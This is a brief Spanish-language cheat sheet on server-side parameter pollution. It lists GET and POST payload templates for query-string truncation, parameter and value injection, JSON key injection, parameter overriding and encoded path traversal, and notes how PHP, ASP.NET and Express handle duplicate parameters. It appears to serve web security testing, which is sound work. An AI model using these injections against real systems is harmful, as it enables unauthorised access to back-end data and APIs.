Server-side parameter pollution

Truncar la cadena de consulta.

# GET
?param=value#truncate
?param=value%23truncate

# POST
param=value#truncate
param=value%23truncate

Inyección de parámetros.

# GET
?param=value&<parameter>
?param=value%26<parameter>

# POST
param=value&<parameter>
param=value%26<parameter>

Inyección de valores de parámetro.

# GET
?param=value&parameter=<value>
?param=value%26parameter=<value>

# POST
param=value&parameter=<value>
param=value%26parameter=<value>

Inyección de parámetros y valores en conversión a formato JSON por el back-end.

# GET
?param=value","<parameter>":"<value>
{"param":"value","parameter":"value"}

# POST
param=value","<parameter>":"<value>
{"param":"value","parameter":"value"}

Anulación/sustitución de parámetros existentes.

# GET
?param=value&param=<value>
?param=value%26param=<value>

# POST
param=value&param=<value>
param=value%26param=<value>

Inyección de path (API RESTful).

# GET
?param=value&param=value/../../<path>#
?param=value%26param=value%2f..%2f..%2f<path>%23

# POST
param=value&param=value/../../<path>#
param=value%26param=value%2f..%2f..%2f<path>%23
  • PHP: analiza únicamente el último parámetro.

  • ASP.NET: combina ambos parámetros (value1,value2).

  • Node.js/Express: analiza únicamente el primer parámetro.

Última actualización